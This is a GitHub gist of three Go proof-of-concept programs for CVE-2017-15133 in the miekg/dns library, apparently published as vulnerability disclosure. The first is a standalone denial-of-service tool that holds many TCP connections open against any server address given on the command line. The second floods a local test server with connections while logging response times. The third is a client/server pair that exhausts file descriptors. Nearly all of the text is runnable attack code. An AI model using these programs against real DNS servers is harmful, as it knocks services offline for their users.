Created
August 16, 2018 09:07
-
-
Save tmthrgd/4b6676604614f4ba424bcf2d95b83a2f to your computer and use it in GitHub Desktop.
CVE-2017-15133 PoCs affecting miekg/dns
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// CVE-2017-15133 PoC by Tom Thorogood (https://tomthorogood.co.uk) | |
package main | |
import ( | |
"context" | |
"flag" | |
"log" | |
"net" | |
"os" | |
"os/signal" | |
"runtime" | |
"syscall" | |
"time" | |
"golang.org/x/sync/errgroup" | |
) | |
func main() { | |
addr := flag.String("addr", "127.0.0.1:1053", "the server's address") | |
dur := flag.Duration("duration", 5*time.Minute, "the length of time to block server connections") | |
timeout := flag.Duration("timeout", 2*time.Second, "the server's readtimeout") | |
flag.Parse() | |
log.Println("starting DOS") | |
defer log.Println("DOS ended") | |
ctx, cancel := context.WithCancel(context.Background()) | |
defer cancel() | |
eg, dctx := errgroup.WithContext(ctx) | |
var d net.Dialer | |
// we need to pin the conns to prevent GC from closing them | |
conns := make(chan net.Conn, int(*dur / *timeout)) | |
for i := 0; i < cap(conns); i++ { | |
eg.Go(func() error { | |
c, err := d.DialContext(dctx, "tcp", *addr) | |
if err != nil { | |
return err | |
} | |
conns <- c | |
return nil | |
}) | |
} | |
term := make(chan os.Signal, 1) | |
signal.Notify(term, os.Interrupt, syscall.SIGTERM) | |
done := make(chan error, 1) | |
go func() { | |
done <- eg.Wait() | |
}() | |
select { | |
case err := <-done: | |
if err != nil { | |
log.Fatal(err) | |
} | |
case <-term: | |
log.Println("^C terminating") | |
return | |
} | |
log.Printf("dialed %d DOS connections", len(conns)) | |
log.Printf("waiting for %s", *dur) | |
select { | |
case <-time.After(*dur): | |
log.Printf("ending DOS after %s", *dur) | |
case <-term: | |
log.Println("^C ending DOS") | |
} | |
// we need to pin the conns to prevent GC from closing them | |
runtime.KeepAlive(conns) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"context" | |
"flag" | |
"log" | |
"net" | |
"os" | |
"os/signal" | |
"syscall" | |
"time" | |
"github.com/miekg/dns" | |
) | |
func main() { | |
listen := flag.String("addr", ":0", "the address to listen on") | |
repeat := flag.Bool("repeat", true, "repeatedly DOS the server") | |
flag.Parse() | |
started := make(chan struct{}) | |
srv := &dns.Server{ | |
Addr: *listen, | |
Net: "tcp", | |
NotifyStartedFunc: func() { close(started) }, | |
Handler: dns.HandlerFunc(func(rw dns.ResponseWriter, r *dns.Msg) { | |
if len(r.Question) < 1 { | |
m := new(dns.Msg) | |
m.SetRcode(r, dns.RcodeRefused) | |
rw.WriteMsg(m) | |
return | |
} | |
m := &dns.Msg{ | |
Answer: []dns.RR{ | |
&dns.A{ | |
Hdr: dns.RR_Header{ | |
Name: r.Question[0].Name, | |
Rrtype: dns.TypeA, | |
Class: dns.ClassINET, | |
}, | |
A: net.ParseIP("192.0.2.0").To4(), | |
}, | |
}, | |
} | |
m.SetReply(r) | |
rw.WriteMsg(m) | |
}), | |
} | |
defer func() { | |
if err := srv.Shutdown(); err != nil { | |
panic(err) | |
} | |
}() | |
go func() { | |
if err := srv.ListenAndServe(); err != nil { | |
panic(err) | |
} | |
}() | |
<-started | |
addr := srv.Listener.Addr().String() | |
/*n, err := net.LookupHost("deb.atoom.net") | |
if err != nil { | |
panic(err) | |
} | |
addr := net.JoinHostPort(n[0], "53")*/ | |
ctx, cancel := context.WithCancel(context.Background()) | |
defer cancel() | |
go func() { | |
client := &dns.Client{ | |
Net: "tcp", | |
ReadTimeout: 1 * time.Second, | |
} | |
m := new(dns.Msg).SetQuestion("CVE-2017-15133.test.", dns.TypeA) | |
t := time.NewTicker(50 * time.Millisecond) | |
defer t.Stop() | |
for range t.C { | |
start := time.Now() | |
r, rtt, err := client.ExchangeContext(ctx, m, addr) | |
if err != nil { | |
select { | |
case <-ctx.Done(): | |
return | |
default: | |
} | |
if nerr, ok := err.(net.Error); ok && nerr.Temporary() { | |
log.Printf("error after %v,\terror: %v", time.Since(start), err) | |
continue | |
} | |
panic(err) | |
} | |
var res string | |
if len(r.Answer) > 0 { | |
res = r.Answer[0].String() | |
} else { | |
res = dns.RcodeToString[r.Rcode] | |
} | |
log.Printf("response after %v,\trtt: %v,\tresponse: %s", time.Since(start), rtt, res) | |
} | |
}() | |
go func() { | |
time.Sleep(1 * time.Second) | |
log.Println("starting DOS") | |
defer log.Println("DOS ended") | |
var t *time.Ticker | |
if *repeat { | |
t = time.NewTicker(500 * time.Millisecond) | |
defer t.Stop() | |
} | |
var d net.Dialer | |
for { | |
log.Println("dialing DOS connection") | |
c, err := d.DialContext(ctx, "tcp", addr) | |
if err != nil { | |
select { | |
case <-ctx.Done(): | |
return | |
default: | |
panic(err) | |
} | |
} | |
go func() { | |
time.Sleep(3 * time.Second) | |
c.Close() | |
}() | |
if *repeat { | |
<-t.C | |
} else { | |
return | |
} | |
} | |
}() | |
// termination handler | |
term := make(chan os.Signal, 1) | |
signal.Notify(term, os.Interrupt, syscall.SIGTERM) | |
<-term | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"encoding/binary" | |
"flag" | |
"fmt" | |
"io" | |
"log" | |
"net" | |
"os" | |
"os/signal" | |
"syscall" | |
"time" | |
"github.com/miekg/dns" | |
) | |
type leakReader struct { | |
dns.Reader | |
} | |
func (lr *leakReader) ReadTCP(conn net.Conn, timeout time.Duration) ([]byte, error) { | |
conns = append(conns, conn) | |
return lr.Reader.ReadTCP(conn, timeout) | |
} | |
var conns []net.Conn | |
func server(args []string) { | |
flags := flag.NewFlagSet("client", flag.ExitOnError) | |
addr := flags.String("addr", ":8053", "address to listen on") | |
nofile := flags.Uint64("nofile", 128, "the value to set RLIMIT_NOFILE to") | |
flags.Parse(args) | |
var lim syscall.Rlimit | |
if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil { | |
panic(err) | |
} | |
log.Println("RLIMIT_NOFILE", lim) | |
lim.Cur = *nofile | |
if err := syscall.Setrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil { | |
panic(err) | |
} | |
if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil { | |
panic(err) | |
} | |
log.Println("RLIMIT_NOFILE", lim) | |
srv := &dns.Server{ | |
Addr: *addr, | |
Net: "tcp", | |
DecorateReader: func(r dns.Reader) dns.Reader { | |
return &leakReader{r} | |
}, | |
Handler: dns.HandlerFunc(func(rw dns.ResponseWriter, r *dns.Msg) { | |
log.Println(r) | |
if len(r.Question) < 1 { | |
m := new(dns.Msg) | |
m.SetRcode(r, dns.RcodeRefused) | |
rw.WriteMsg(m) | |
return | |
} | |
m := &dns.Msg{ | |
Answer: []dns.RR{ | |
&dns.A{ | |
Hdr: dns.RR_Header{ | |
Name: r.Question[0].Name, | |
Rrtype: dns.TypeA, | |
Class: dns.ClassINET, | |
}, | |
A: net.ParseIP("192.0.2.0").To4(), | |
}, | |
}, | |
} | |
m.SetReply(r) | |
rw.WriteMsg(m) | |
}), | |
} | |
defer func() { | |
if err := srv.Shutdown(); err != nil { | |
panic(err) | |
} | |
}() | |
go func() { | |
if err := srv.ListenAndServe(); err != nil { | |
panic(err) | |
} | |
}() | |
go func() { | |
t := time.NewTicker(2 * time.Second) | |
defer t.Stop() | |
f, err := os.Open("/proc/self/fd") | |
if err != nil { | |
panic(err) | |
} | |
defer f.Close() | |
for range t.C { | |
if _, err := f.Seek(0, io.SeekStart); err != nil { | |
panic(err) | |
} | |
names, err := f.Readdirnames(-1) | |
if err != nil { | |
panic(err) | |
} | |
log.Printf("%d open file desciptors of %d", len(names), lim.Cur) | |
} | |
}() | |
// Disable garbage collection to prevent collection of leaking | |
// file descriptors. | |
// | |
// Instead of this, we achive the same thing by pinning the | |
// net.Conn in leakyReader. | |
/*debug.SetGCPercent(-1) | |
runtime.GC()*/ | |
// termination handler | |
term := make(chan os.Signal, 1) | |
signal.Notify(term, os.Interrupt, syscall.SIGTERM) | |
<-term | |
} | |
func client(args []string) { | |
flags := flag.NewFlagSet("client", flag.ExitOnError) | |
addr := flags.String("addr", "127.0.0.1:8053", "the address to connect to") | |
nofile := flags.Int("nofile", 128, "the number of file descriptors to leak") | |
flags.Parse(args) | |
b := make([]byte, 2) | |
binary.BigEndian.PutUint16(b, 0) | |
for i := 0; i < *nofile; i++ { | |
c, err := net.Dial("tcp", *addr) | |
if err != nil { | |
panic(err) | |
} | |
defer c.Close() | |
c.Write(b) | |
} | |
log.Printf("opened %d connetions to %s", *nofile, *addr) | |
// termination handler | |
term := make(chan os.Signal, 1) | |
signal.Notify(term, os.Interrupt, syscall.SIGTERM) | |
<-term | |
} | |
func main() { | |
flag.Usage = func() { | |
fmt.Fprintf(os.Stderr, "Usage of %s:\n\tserver | client\n", os.Args[0]) | |
} | |
flag.Parse() | |
switch flag.Arg(0) { | |
case "server": | |
server(flag.Args()[1:]) | |
case "client": | |
client(flag.Args()[1:]) | |
default: | |
flag.Usage() | |
os.Exit(2) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment